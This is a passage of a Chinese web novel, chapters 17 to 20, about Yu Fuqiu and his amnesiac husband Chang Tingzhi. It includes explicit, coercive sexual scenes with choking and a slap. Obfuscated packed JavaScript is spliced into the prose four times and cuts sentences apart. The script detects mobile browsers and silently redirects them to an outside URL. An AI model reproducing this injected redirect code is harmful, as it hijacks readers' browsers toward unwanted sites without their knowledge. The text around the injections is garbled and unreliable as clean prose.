余赋秋不管不顾地扬起脑袋,双手紧紧抱着长庭知的脖颈,垫着脚尖,献上自己的唇。
舌尖撬开他微张的唇瓣,温热的唇舌交缠,卷起他口中的舌,粘腻的水声在空中弥漫。
余赋秋大脑一片空白,闭上眼睛,长而卷翘的睫毛轻轻颤抖着,泪水从眼尾滑落,他不想思考,只想把自己融入在这个令他眷恋不已的怀抱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124682|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
舌如同一只灵魂的蛇,吮吸着余赋秋的舌尖,舔舐着他口腔中的每一处,灼热的呼吸喷洒在他的肌肤上,惹的他浑身战栗。
长庭知的指尖解开他半扎的长发,长发散落,他的指尖轻抚着余赋秋的后颈,另一只手紧扣余赋秋的后脑勺,将他们之间的缝隙彻底的闭合。
“呜——”
余赋秋仅有的氧气被剥夺,他有些喘不上来,想要往后退,这个动作被长庭知洞察到,他微微眯起了眼眸,趁着余赋秋好不容易换气的空间,又再次吻上那双唇。
他的指尖顺着纤细的脊背缓缓下滑,停在了那浅浅的腰窝,他下意识的揉了那莹白的软肉,感到怀中人身体猛然一颤,似乎是无力了,只能惊慌地攀附着长庭知有力的臂膀。
而这更方便长庭知进一步去深入亲吻,仿佛要夺走余赋秋肺里面所有的空气,带来一种微妙的、令人头晕的窒息感,却又奇迹般地让他沉沦下去。
他一把将余赋秋抱起来,轻轻蹙眉,怎么会这么轻?长家都不让他吃饭吗?
余赋秋是被冷空气灌入刺激醒的,等他反应过来的时候,他已经被长庭知压在沙发上,双手被细长的领带系着,压在头上,而长庭知的指尖慢慢解开他的衣扣,攥着他的下巴,索着吻。
“不,不要……”
余赋秋的声音软的如同一滩春水,他眼眸含泪,神情迷离,还尚未从这个过于激烈的吻中回过神,胸膛起伏不定,急促的喘息着。
“不要,庭知……”
美人的眼尾泛红,眼中带着丝丝钩子,如同一片羽毛似的在长庭知的心头飘荡着,他神情晦暗不明地看着那双红肿、泛着水润光泽的唇,喉头上下的滚动着,一种陌生的躁渴随着血液在他的四肢百骸流动着。
他冷冷勾唇一笑,“怎么,是你先勾引我的。”
“现在又开始立牌坊了?你给谁守贞洁呢?”
“那个长庭知?”
他的语气一沉,神情冰冷,长腿强硬地分开余赋秋的膝盖,整个人覆在余赋秋的上面,神情讽刺:“他早死了,现在,站在你面前的。”
“成为你丈夫的,是我。”
看着美人瞪大的眼眸,哀伤布满了那双眼睛,他咬着唇,氤氲湿润了他的眼眸,像山中湿润的雾气,整个人仿佛脆弱的琉璃,一碰就散。
长发披散在身后,更衬得肤白胜雪,尤其衬得那红唇艳丽,如同雪山上盛开的红梅,漂亮得惊人,让长庭知移不开视线。
长庭知眼眸一暗,如同酝酿着风暴。
他低下头,张口直接咬上了余赋秋的脖颈。
余赋秋被迫扬起脖子,像一只濒死的天鹅。
“呜——!”
余赋秋从喉间发出细碎的低吟,身体下意识的想要萧瑟,却被长庭知禁锢在身下,动弹不得。
在留下好几个深刻的牙印,长庭知愉悦地勾起笑容,瞳孔缓缓放大,在那一圈泛红的齿痕上面,他将自己滚烫的唇覆盖在上面,伸出舌尖,用力又深深地舔舐起来,甚至犬齿陷入雪白的肌肤之中,浮现出了细微的血丝。
“好香,好香……”
长庭知的犬齿用力一咬,齿间弥漫着血腥味。
“呜,嗯——!”
余赋秋下意识的蜷缩起双腿,战栗的感觉顺着神经末梢从脊椎一路往上攀沿,他被迫仰着头,承受着着痛楚和欲.望的标记,他大脑一片空白,无意识的微张着唇,吐出粉嫩舌尖。
“是我的,是我的……”
长庭知埋首于他的脖颈间,温热的鼻息喷洒在脖子上,惹的余赋秋浑身颤抖。
余赋秋还没反应过来,他吐在外面的舌尖被长庭知含进唇里,细细吮吸、撕咬着。
长庭知带着情.欲,嘶哑着嗓音说:
“你是我妻子。”
“自然,也要履行妻子的义务。”
18. 第 18 章
温软的唇瓣擦过长庭知的掌心,长庭知眼神一晃,回过神来,他的手掐在余赋秋细长的脖颈上,莹白的皮肤上已经掐出了明显的红痕。
身下的美人清水似的眼眸朦胧地看向他,泛红的眼尾如同圣洁雪山盛开的红梅,喉头的窒息让余赋秋不得不微微张唇,吐出粉嫩的舌尖。
透过昏暗的光线,舌尖上细碎的水泽折射在长庭知的眼眸中。
他明明可以挣扎,但余赋秋只是乖巧的仰起头,微微吐露已经被吮吸红肿的舌尖,眼眸含雾,如同小鹿般湿漉漉的眼睛望着长庭知。
长庭知松开了手,让美人可以顺畅的呼吸,可手指又不安分的钻进湿润的口腔。
他的指尖修长,骨节分明,他被余赋秋养的很好,肤若凝脂的青年仰着头乖乖地含着他的手指。
感受到了原本激烈的动作变得缓慢,他知道,这是长庭知心情愉悦的表现。
失忆前的长庭知对他的欲.望多重,他是知道的,要不是他有工作,怕是日日要被锁在床上。
被吸吮红肿的薄唇像是花瓣,湿润的红色在光线下显得异常霏迷,长发凌乱地散开,让长庭知模糊了背景,眼里只有眼前跪着,含着他手指乖乖舔舐的余赋秋。
他的目光缓缓下移,衣领被拉开,露出大片雪白的肌肤,上面印着深深浅浅的红痕。
“抱抱我,再抱抱我。”
余赋秋的舌尖将那节修长的指节舔舐的水光淋漓,贝齿轻轻撕咬着,他微微抬眸,神色迷离,细碎的光在他的眼尾处闪动着。
“庭知,求求你……”
长庭知在听到这个名称的时候,神色瞬间冷了下来。
眼前的美人勾着眼尾,细微的发丝贴在额头,雪白的身子泛着桃粉色,小舌温柔地舔舐着他的指尖,像个乞求垂怜的小动物。
他轻声笑了下,“你要叫我什么?”
“叫,什么?”
余赋秋的大脑已经全然是浆糊了,空白一片,他整个人如同被火炙烤一般,火顺着神经末梢蔓延般往上爬,潜意识里有个声音告诉他,眼前这个人可以解除他的燥热。
要讨好他——
余赋秋的大脑慢慢转动。
他忽然感觉到天旋地转,再度回过神,他的鼻尖对着沙发的背部,意识到这是什么姿势的时候,绷紧了身体。
后背贴着那个温热的躯体,灼热的呼吸紧贴在肌肤上。
他冷笑着拽住余赋秋的长发,沉着嗓音在他的耳边说着:“不要在我面前在提那个名字。”
“你既然这么想要维持长太太的好人设,我自然是要满足你的。”
“呜——!”
一阵剧痛从脊椎骨攀沿上来,他像是一只濒死的天鹅般仰着脑袋,眼眸涣散,大脑一片空白。
仅存的理智都瞬间四散飞溅开来。
他细碎的喉咙被修长的指尖堵在喉头。
男人咬着他的耳垂,幽黑的眼眸深深凝视着余赋秋。
“记住,现在成为你丈夫的人。”
“是我。”
……
“这是……哪里?”
余赋秋意识猛然回神,他发现自己是以一个魂体漂浮在空中,以他的视角可以俯瞰整个H市。
忽然,他像是被什么引力吸引过去一般,整个人从百米高空瞬间往下坠落。
“庭知!”
在他眩晕刚缓的时候,他听到了熟悉的声音。
余赋秋的身体猛然一颤,整个身体支撑不住瘫倒在地上。
只见柯祈安的脸从门探出来,他探头看了看房间,确认自己想要的人在里面,连声音都带着愉悦。
余赋秋才发现,这个地方不是其他的,正是他亲手布置,他们的婚房。
“安安。”
记忆中熟悉的笑颜重新呈现在余赋秋的面前,他心中一酸,伸手想要去触碰长庭知。
但他的手僵在了半空。
他看见长庭知温柔地笑着把柯祈安抱在怀里,鼻尖亲昵地蹭了蹭他的脸颊,在唇角落下一个轻柔的吻。
“这么大人,还蹦蹦跳跳。”长庭知把柯祈安抱在怀里,坐在椅子上,那双以往总是牵着余赋秋的双手,此刻落在了别人的身体上,细心地抚摸着柯祈安的小腹。
“孩子又闹你了?”
孩子?
什么孩子?
余赋秋僵硬着目光,缓缓下移。
柯祈安的小腹,微微隆起。
他们双手交叠,窗外的光洒落在他们身上,显得分外柔和。
“对呀,你是孩子爸爸,你都不在我身边,他想你了,肯定就闹我呀。”
柯祈安仰头撒娇,嘟起红唇,“亲亲我,不然就不原谅你咯。”
长庭知勾了一下柯祈安的鼻子,无奈地笑笑:“你呀……”
“诶?!”
“老公老公,你感受到了吗?胎动!好神奇哦!”柯祈安眨巴眨巴眼睛,像是一个对世界充满好奇的小朋友。
“是呀,这大概这个月份的时候,宝宝就会动你。”
长庭知捏了捏柯祈安白嫩的脚踝,眼眸含着心疼:“都水肿了,明明每天都有按摩,晚上你每次起夜,我都心疼……”
“这是我甘愿的,我愿意给你生孩子,生一个只属于我们的孩子。”
“我是个很小气的人,我不喜欢你和他的孩子,”柯祈安拍了拍肚子,“他会是你的唯一吗?”
长庭知一顿,把人抱的更紧了,抵着柯祈安的额头:“我知道你不喜欢那个孩子,他是那个长庭知的孩子,不是我的孩子,我已经让人把他送走了,不会再出现在你的面前了。”
“安安……”
长庭知即将吻上柯祈安唇瓣的时候,余赋秋再也忍不住,跪在地上剧烈的干呕。
可是他什么也吐不出来。
这是什么?
未来的剧情吗?
春春呢。
我的春春呢?
我的孩子。
长庭知,他也是你的孩子啊,你怎么可以这么狠心?
泪水止不住地滴落,余赋秋哭的喘不上气。
忽然,他有一种强烈的直觉。
——这是已经修改后的剧情。
他本身不是小说里的人物,他也不是该属于这个世界的人,按照小说的剧情,长庭知和柯祈安会在一场慈善晚宴上见面,柯祈安想要体会下兼职的生活,因此在这场酒会上当着服务生,给下了药的长庭知滚入酒店。
很老套的剧情。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124683|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>直到后面柯祈安被虐的遍体鳞伤的时候,长庭知才知道他是在小时候救过自己的人。
这是剧情的交汇点。
剧情的时间线是从不久后开始的。
但因为有余赋秋的介入,他把本该属于柯祈安的剧情抢走了,把长庭知带回了自己家,把他慢慢地养大。
所以剧情检测到了偏离,要修正。
他所作的这个梦,就是把他当入了小说的角色之一。
——一个本不该存在,也注定会消失的角色。
可是,可是——
余赋秋眼眸赤红,漂亮的脸上全然是哀伤和愤气。
至少在原本的剧情中,是没有孩子的。
他至少和长庭知有一个孩子。
说明剧情是可以被修改的。
那么他就修改到他想要的剧情为止,他要他的长庭知。
他自己养大的,就是他的。
凭什么让给别人?!
他不想,他不想再孤身一人了。
无尽的黑暗中,余赋秋的身体满满蜷缩了起来。
如果他的长庭知还在多好——
庭知,再等等我。
我一定会让你重新回到我的身边。
哪怕付出一切。
余赋秋在心中诉说着,如同最虔诚的信徒向着早已经崩塌的神明祈祷,将这个残破的信念当作支撑自己破碎身体的唯一支柱。
就在他即将被黑暗吞噬时候——
“球球。”
一声熟悉的、带着他魂牵梦绕的温柔和心疼的呼唤,如同穿透浓雾的微光,轻轻回响在他的耳畔。
余赋秋猛然一颤,几乎以为自己因疼痛产生了幻觉。
“球球。”
又是一声,比刚才更清晰,更真实,那道嗓音是失真的虚幻,却带着他记忆中最深刻的、独属于他的缱绻爱意。
身后的黑暗似乎被驱散了些,一具温暖而熟悉的胸膛贴上了他不断颤抖的身体,一双结实的双手,带着他无比贪恋、小心翼翼地力量。
——他被拥入了一个坚实而温暖的怀抱。
是梦吗?
他等到了?
“庭知……是我的庭知吗?”
余赋秋不敢回头,生怕这一切都是假的。
那温热的呼吸喷洒在他的皮肤上,几乎要让余赋秋的肌肤灼烧起来,可是他没躲。
细碎的吻落在他的唇边,撬开他的唇畔,和先前凶猛的吻不一样,带着小心翼翼的破碎。
是他的长庭知。
他抓住了长庭知的衣袖,带着哭腔哀求:“别走,求你,求你……留在我的身边。”
“别怕,球球,我不会走的。”
“你再等等我,我一定会回来,会到你的身边……”
那道声音越来越轻、越来越远,仿佛耗尽了最后一丝力气,余赋秋在无尽的黑暗中能感知到那炽热、不舍、带着爱意的视线。
怀抱的温度慢慢冷却下去,余赋秋猛然瞪大眼睛,想要抓住那最后残存的温度,想要回头看清爱人的脸庞——
他看到的还是无尽的虚空。
没有什么拥抱,身上依旧是冰冷的。
他始终还是——
孤身一人。
19. 第 19 章
“不要——!”
余赋秋猛地从睡梦中给惊醒过来,身体剧烈地弹动了一下,仿佛要挣脱什么无形的束缚,心脏在胸腔里疯狂地跳动着,几乎要冲破胸膛。
他大口大口地喘着气,额头被冷汗完全浸湿,身上的衣物早已经被冰冷的汗水所浸透,带来一阵阵寒意。
眼睛酸涩肿胀得厉害,刚刚在梦中流出的泪水早已经变得冰凉,在枕头上晕染开大片深色的水渍。
指尖发麻着,仿佛还残留着长庭知的温度。
他慢慢地抬起手,指尖带着无法控制、细微的痉挛,抚摸上自己的脸颊。
“不要走……”
余赋秋压抑着哭声,想要留住那残存的温度。
“带我走好不好,不要留我一个人……”
可肌肤触碰到的,只有一片冰冷的,属于眼泪的湿意。
“呜——”
他蜷缩起身体,用手臂紧紧抱住自己,仿佛这样就可以留住那片刻的温暖。
“唰——”
虚掩的门被风轻微的推开,从门缝里传出好闻的香气。
只是一闻这个味道,余赋秋就知道这是他最喜欢那道番茄牛腩煲的味道,是长庭知最拿手的菜。
余赋秋根本顾不上身体的疼痛,他踉跄着从地上爬了起来,既便前面从床上滚落下来,他还是费力地起身。
是他的庭知回来了?
他小心翼翼并且艰难地挪到了厨房的门口。
他看到了那个高大挺拔的身影正背对着他,站在灶台的面前,袖子挽到手肘,露出结实的小臂,动作娴熟地翻着锅。
在这个一瞬间,时间仿佛倒流。
温暖的灯光、咕噜作响的汤煲,系着围裙喊他吃饭的爱人……
一切都和他们五年无数个平凡的傍晚重叠在一起。
巨大的惊喜和不敢置信的酸楚猛地冲上了心头,淹没了所有的理智。
余赋秋眼眶一热,几乎是扑了过去,从身后紧紧地、用尽全身的力气抱住男人的腰,把滚烫的脸埋入那宽阔而温暖的脊背里面。
“你回来了……”他哽咽着,如同迷路的孩子找到了家:“你回来了,庭知……”
“我立刻告诉春春,让他回来,他也很想你,你看看他,好不好?”
他抱的那样紧,仿佛要把对方融入自己的骨血之中。
然而,他感受到的身躯,在一瞬间短暂的僵硬后,并没有放松下来,反而肌肉紧绷的更加厉害。
取而代之的,是一股冰冷的力道。
长庭知猛地掰开他环抱的手臂,丝毫没有怜香惜玉的意思,他转过身,用力地推开余赋秋,看着被他推到在地的余赋秋,脸上没有半分余赋秋期待的温柔,只有一片冰冷和一种被冒犯、极其厌恶的怒火。
“谁让你碰我的。”
他的声音冰冷得如同冰窖。
昨晚被折腾所留下的痕迹还未完全褪去,尤其是膝盖那一块地方,他因为长时间的跪趴,膝盖红肿青紫,尾椎骨碰撞在地面上传来的剧痛都让余赋秋下意识的委屈起来。
他茫然地抬头,不明白为什么长庭知要推开他。
他眼神迷茫,下意识的伸出手,冲着长庭知委屈撒娇道:“庭知,我疼……”
“你弄疼我了……”
长庭知的心底骤然升起一阵钻心的疼痛,他的肌肉比他大脑先行一步,想要伸出手去抱余赋秋。
但身后煲汤发出的咕噜声,很快让长庭知回过神来。
他狠狠钳制住余赋秋的下巴,迫使他抬起头来,凝视着那双漂亮的水眸,“我说了,我不是‘长庭知’。”
‘别以为你用身体勾引我,爬上了我的床,你就可以得寸进尺。’
长庭知的指节掐入余赋秋的肌肤,他逐渐回过神来,对上那双毫无温度的眼睛,新瞬间沉入谷底。
“不是,庭知,我没有……”
余赋秋喉头哽咽。
“没有你狡辩什么?”
“委屈着一张脸做样子给谁看呢?”
长庭知的视线扫过这张令他心头难耐的脸,轻笑了声:“怎么,这也是你勾引其他男人的手段?”
“既然你自己要做我的情妇,那么情妇就要有情妇的样子。”
长庭知往后退了一步,像是碰到了什么脏东西似的,抽出厨房的湿巾擦了擦前面触碰过余赋秋的指尖。
忽然,他脸色一沉,质问道:“春春是谁?”
余赋秋一愣,下巴的疼痛还没有彻底的消散过去,手腕猛然被长庭知握住,力道大得几乎要捏碎他得骨头。
他忍着不适,茫然中又带着一丝不易察觉得期盼,低声回答:“是……是你的孩子啊。”
他希望这个名字,这个属于他们血脉相连的证明,可以撬开长庭知紧闭的记忆之门,哪怕只是一丝缝隙。
“孩子。”
长庭知重复着这两个字,原本还残存着一丝探究的眼神,瞬间被一种极致的嘲讽和冰冷的厌恶所取代,他仿佛听到了世界上最大的笑话。
下一秒——
“啪!”
一记响亮的耳光,毫不留情地扇在余赋秋苍白的脸颊上。
“我的孩子?”
长庭知嗤笑一声,看着头被打得偏过去的余赋秋,心脏在抽抽地触动,他每一呼吸,几乎都到了窒息地步的痛楚。
他身体的情绪越不受长庭知控制,他反而越厌恶这样的自己,越厌恶眼前的罪魁祸首。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124684|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他强力地把心底那股强烈的痛楚压了下去,猛地松开了余赋秋手腕的手,从内袋里掏出一叠照片,狠狠摔在余赋秋的身上。
照片散落一地,上面赫然是前几天余赋秋在学校剧组面试的时候情绪崩溃,导演胡道元把他抱在怀里安慰,他的身上还披着胡道元的外套,角度抓拍的极其暧昧,只要一抬头,他们就会吻上的距离。
“我是不是太好讲话了?”长庭知的声音冷淡,讥讽地看着余赋秋,“你都这么窝在他怀里了,身上披着他的外套,你敢和我说你们没有关系?”
“现在又冒出来一个我的孩子。”
他的目光如同冰冷的探照灯,扫过余赋秋的全身:“怎么,是终于找到下家,连野种都搞出来了,才急着给我按个爹的名头,好让你和你的奸夫双宿双飞,同时还能讹我一笔抚养费是吗?”
他看着余赋秋越来越惨白的脸,胸口的疼痛几乎要如潮水般将他淹没。
他将余赋秋对他们孩子的珍视,全都算作了处心积虑的算计和背叛。
他冷笑一声,眼中的厌恶几乎要溢满出来,“我还真是小看你了,一边装着深情款款,不惜代价也要维持‘长太太’的身份,一边又忙着四处勾搭,连孩子都成了你可以利用的工具,你可真是好算计啊。”
余赋秋僵在原地,他浑身冰冷,脊背抵在墙角,却没办法动弹,脸颊上的疼痛远不及心口被撕裂的万分之一。
他看着散落一地的、被扭曲的照片,长庭知冰冷的话语如同藤蔓般将他缠绕,深深地扎根入血,让他几乎喘不上气来。
他张了张嘴,想告诉他不是这样的。
春春是他们相爱时的期盼,是早产生下后他小心翼翼呵护长大的宝贝。
春春身体不好,在重症监护室住了好几周,长庭知为此去了有名的寺庙,三步一叩首,将三千阶梯叩完,求了两道平安福,一道给了他,一道给了春春。
他抱着春春,抬眸看着余赋秋,眼中是闪动着细碎的星光。
他说,春天生命力旺盛,是万物复苏的季节。
他说,他和余赋秋的孩子出生在冬天,他们一起等待春天的到来。
他说,春天是一年四季的初始,是他们相遇的季节,他们会永远在一起,老了也会一起安葬在春天里。
所以,他们期盼着春天的到来。
取名祈春。
可是——
余赋秋慢慢抬头,脸颊上浮现出了清晰的五指印记,所有的解释都卡在喉咙里面,对上那双冰冷和厌恶的眸子时候,一切变得那么的苍白无力。
连呼吸,都带着撕心裂肺的疼。
长庭知从桌上扔下一份厚厚的协议书,面无表情道:“签了吧。”
20. 第 20 章
余赋秋僵硬在那里,他不可置信地瞪大了眼眸,空气在这个时刻仿佛凝固了,只剩下窗外隐约的车流声,还有弥漫在厨房里好闻的香气。
可这个时刻,余赋秋的耳边什么都听不见了,只能听见嗡嗡的轰鸣声。
左边脸颊上那清晰的二巴掌印如同烙铁烫过,灼热地刺疼着,更触目惊心的是他纤细脖颈上那一圈已经变得青紫的掐痕,无声地诉说着昨晚的暴戾。
“签字。”
长庭知冰冷地吐出两个字,将那份厚厚的协议书扔到他的面前。
“……这是什么……”
是离婚协议书?
不是说好了吗,为了公司的利益,勉强和他假扮夫妻。
只要他们还是名义上的合法夫妻,这对于现在的余赋秋来说,已经足够。
难道这最后一点名存实亡,既便需要靠着回忆和自我欺骗维系的关系,也要被他亲手斩断了?
“不……”
余赋秋猛地摇头,“不可以,庭知,我们,不可以,不能离婚——”
“对,对了!”
余赋秋像是抓住了最后一根救命稻草,转身,跌跌撞撞地冲回了卧室,颤抖着手去按保险柜的密码,手心出了密密麻麻的汗水,指节泛白,虚软无力,他按错了好几次密码。
余赋秋想要让自己镇定下来,可越这样,反而颤抖的更加厉害,他秉着气,终于拿出了被他视若生命的珍宝——一叠厚重的相册,还有那两本鲜红的结婚证,还有一本被剪了一个角的户口本。
他踉跄着抱着这些‘珍宝’,如同抱着最后的希望,扑到长庭知的面前,急切地、语无伦次地展示。
“庭知!你看,这是我从你小学到大学给你拍的照片,这是你去郊游的照片,啊,还有穿着大学学士服毕业的照片,那天好多人找你拍照,我在角落里等了好久好久,我以为你不会再来找我了,然后你抱着我送你的玩偶,从阳光下跑过来,一下子抱住我,和我说你终于可以成为我的骄傲了。”
“还有这张,那是你说要娶我的时候,我拒绝了你,你在我的怀抱里哭的和小孩儿一样,”余赋秋想到那个画面,唇角忍不住弯了弯,但他的身体却还在下意识的颤抖,他慢慢地挪动着脚步,轻轻地、想要去靠近面前面无表情的长庭知。
“第二天早上我在手机里看到了这张我睡着的时候,你捏着我的脸比耶的照片,结果你还发微博了,很多粉丝都说没看过这样的我呢。他们还求你多发一点。”
余赋秋低声笑道,泛白的指节指着下一张照片,“这是你在冰岛和我第五次求婚,你说那里的极光好像我的颜色,你说你会带我走遍世界的每一个角落,我们熬过了那么多的苦,现在……”
他的喉头一哽,但他不敢抬头看长庭知,不敢面对那双冰冷陌生的眼神,他深吸了口气,压下喉头的苦涩:“还有这张……是我们婚礼上,你请了从小学到大学所有的好朋友,你抱着我,在婚礼上转圈圈,你说,你终于娶到我了。”
“这是我们的结婚证,我封起来,保存的很好哦,你看看……”
他的指尖因为恐惧而剧烈的颤抖,几乎要拿不稳相册。
长庭知冷淡地看着这场‘表演’,眼里没有半分动容,只有愈发浓烈的讥讽和不耐,他甚至没有去接那些东西,只是用指尖推开了递到他面前的结婚证。
“准备的很充分。”
他淡淡说,仿若一个商人在评价商品,给予肯定:“饶是我在商场上,也许也没有办法做的滴水不漏,为了坐实这个身份,你真的是良苦用心。”
“我查过你的身份了。”
长庭知坐在厨房的椅子上,长腿交叠,“十八岁以前的信息居然都是空白的,说明你是个黑户,连初中学历也没有,家庭住址,父母籍贯在哪里一概不知,就好像是凭空来到这个世界上的。”
“你恰好在那晚捡到了我,”他顿了顿,眉毛微挑:“捡到了他。”
“含辛茹苦把他养大,你好像知道他以后会成功,在你自己都养不活你自己的情况下,你怎么会去捡一个七八岁大的孩子?”
“难道不是另有所图?”
长庭知轻蹙着眉头,他很难想象,那时候的长庭知只是一个刚从马戏团逃出来的孤儿,余赋秋只是一个黑户,在那种绝望的情况下把长庭知捡回去的目的是什么?
他想不通有什么比利益更为直接的目的,让人不惜一切代价去拯救另一个人。
为了爱情?
这种虚无缥缈的东西?
真令人作呕。
他蹙眉,揉了揉胸口,心脏怎么会这么疼?
明明他才做过体检,没有任何器质性的疾病,为什么每次看到眼前这个人这副模样,他的心脏好似被一只手捏着,连呼吸都带着痛楚。
还是要去看专门的心脏医生。
他捏了捏自己的眉心,长吁一口气。
“我没那么多时间和你浪费,我也不管你到底有什么目的,顶着这个伪造的身份,能让你继续在娱乐圈捞到好处,毕竟我们的利益从来都是双向的,商人从不做亏本的买卖。”
“但是,如果这个买卖要浪费我很多的时间成本,我会选择直接结束他。”
余赋秋所有急切的话语被卡在了喉咙里面,抱着相册和结婚证的手臂无力地吹落下来,那些他所珍爱的东西,此刻变得无比沉重,也无比可笑。
原来,所有深爱的证据,在现在的长庭知眼中,成为了处心积虑的罪证。
他不敢再去看长庭知表情的冰冷和猜忌,他只是拖着沉重的脚步,垂着眸,抿着唇。
“可是你答应我,起码要和我在公众面前保持……‘人设’,作为商人的你,怎么能言而无信呢?”
“如果我们离婚了,长秋集团的股份一定会有波动,我身上的代言合作很多都是长秋集团……”
“停。”
长庭知拧着眉头,不知道余赋秋在说什么。
“什么离婚?”
“这不是离婚协议书吗?”
余赋秋愣了一下,泪水还挂在睫毛上,指着厚厚一叠的、打印着协议书三个字的纸张,声音还带着未散的哽咽和茫然:“你,你不是要和我离婚吗?”
“哈?”
长庭知发出一声短促的疑问,他终于明白了余赋秋这一连串的反应是从哪里来的。
“余赋秋。”
失忆清醒之后,长庭知第一次正面喊着余赋秋的名字,“你的脑子里,除了那些情情爱爱、要死要活的戏码,还能不能装点别的东西?比如,正事。”
他不耐烦地翻过协议书。
“看清楚!”
余赋秋被他的动作吓得萧瑟了一下,瞪大眼睛,才发现这是和他合作的协议书,不是什么离婚协议书。
余赋秋彻底僵住,大脑一片空白。
长庭知并不打算就此放过他,他又快速地将协议翻到后面几页,指着另外附加的条款,语气冰冷地解释,每一个字都像是在敲打余赋秋的神经:“还有这个,这是基于你之前坚持声称我们存在婚姻关系,而进行的婚前及婚后财产明确分割与公证的协议附件!目的是为了避免未来可能因财产问题产生的纠纷和不必要的麻烦。”
他收回手,抱着双臂,居高临下地看着彻底懵掉的余赋秋,嘴角那抹讽刺的弧度愈发明显:“我只是让你签署一份正常的商业合作文件,以及一份规避风险的财产公证协议。而你……”
他的目光扫过余赋秋脸上未干的泪痕,以及旁边散落的婚纱照和结婚证,眼神里的鄙夷几乎要化为实质。
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124685|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…却上演了一出苦情原配拒签离婚协议的戏码?”
“余赋秋,”他冷冷地吐出最后一句,如同最终宣判,“别再把你的那点自作多情和幻想,带到工作里来。很耽误时间,也……很可笑。”
他本以为余赋秋会闹,会哭喊着拒绝签署这个协议,毕竟认真看,这个协议几乎是对他自己有利的。
和余赋秋只是呆滞了一瞬,问了一句:“……你不是要和我离婚?”
看不懂字还是听不懂人话?
长庭知蹙眉,冷淡地点了点头。
下一秒,让他措不及防的事情发生了。
余赋秋脸上的彷徨瞬间褪去,取而代之的是一种极其灿烂的笑容,眉目弯弯,像是承载了世间所有的星光,纯粹而耀眼,长庭知一时间晃了神色。
余赋秋猛地扑进了长庭知的怀里,而长庭知的身体比大脑先行一步行动,将扑进自己怀里的人抱的紧紧的,生怕他不小心摔下来。
余赋秋的双臂紧紧环住他的脖颈,将脸埋在他的颈窝里用力蹭了蹭,然后乖巧地抬起眼眸,眼中全然是长庭知的身影,笑意如同繁花一般在脸上蔓延,他仰起头,飞快地在长庭知的唇角落下一吻,发出清脆的声响。
“没关系,我都会接受的!”
只要你不是先扔下我。
只要不是离婚,我都可以接受的。
我会等我的庭知回来的。
我既然能把他养大养好,那么我现在再重新养一遍又有什么关系呢?
余赋秋的声音里充满了雀跃和安心,仿佛拥有了全世界最珍贵的宝贝。
长庭知的身体猛地僵住。
脸上被亲过的地方仿佛还残留着柔软湿润的触感,怀里是温香软玉,鼻尖萦绕着对方身上清浅好闻的气息。
他能清晰地感受到怀中人毫不设防的依赖和那发自内心的、几乎要溢出来的快乐。
按照他一贯的行事准则,他应该立刻推开这个不知分寸、行为逾越的人。
应该冷下脸,斥责他的冒犯,提醒他彼此之间只有冰冷的协议关系。
可是……
心脏的位置,却像是被什么东西不轻不重地撞了一下,传来一阵陌生而奇异的悸动。
那感觉来得突兀而迅猛,完全不受他理智的控制,仿佛沉睡在冰原下的某种东西,被这一记莽撞的亲吻和这纯粹的笑容,悄然撬开了一丝缝隙。
他一向以利益得失、逻辑分析作为行动的最高准则。可此刻,这种完全不符合利益计算、甚至打乱他节奏的情绪反应,让他第一次感到了些许……茫然。
他不懂。
不懂余赋秋为何在明显“吃亏”的协议面前,反而如此开心。
更不懂自己这颗向来冷静自持的心脏,为何会因这一个简单的、甚至称得上冒失的亲吻,而乱了节拍。
就好像今早醒来,看见窝在自己怀中,安然睡着的余赋秋,他却不受控制地在他的额角上落下一个吻,下意识地去了厨房,拿出材料,做了番茄牛腩煲。
他不记得自己会做这道菜,可是动作行云流水,仿佛是刻在骨子里似的。
这到底……是什么情绪?
这和利益无关,是他自己愿意的,他在做饭的时候,脑海中想的不是昨天签署的上亿订单,而是余赋秋那张脸,充满笑意的脸。
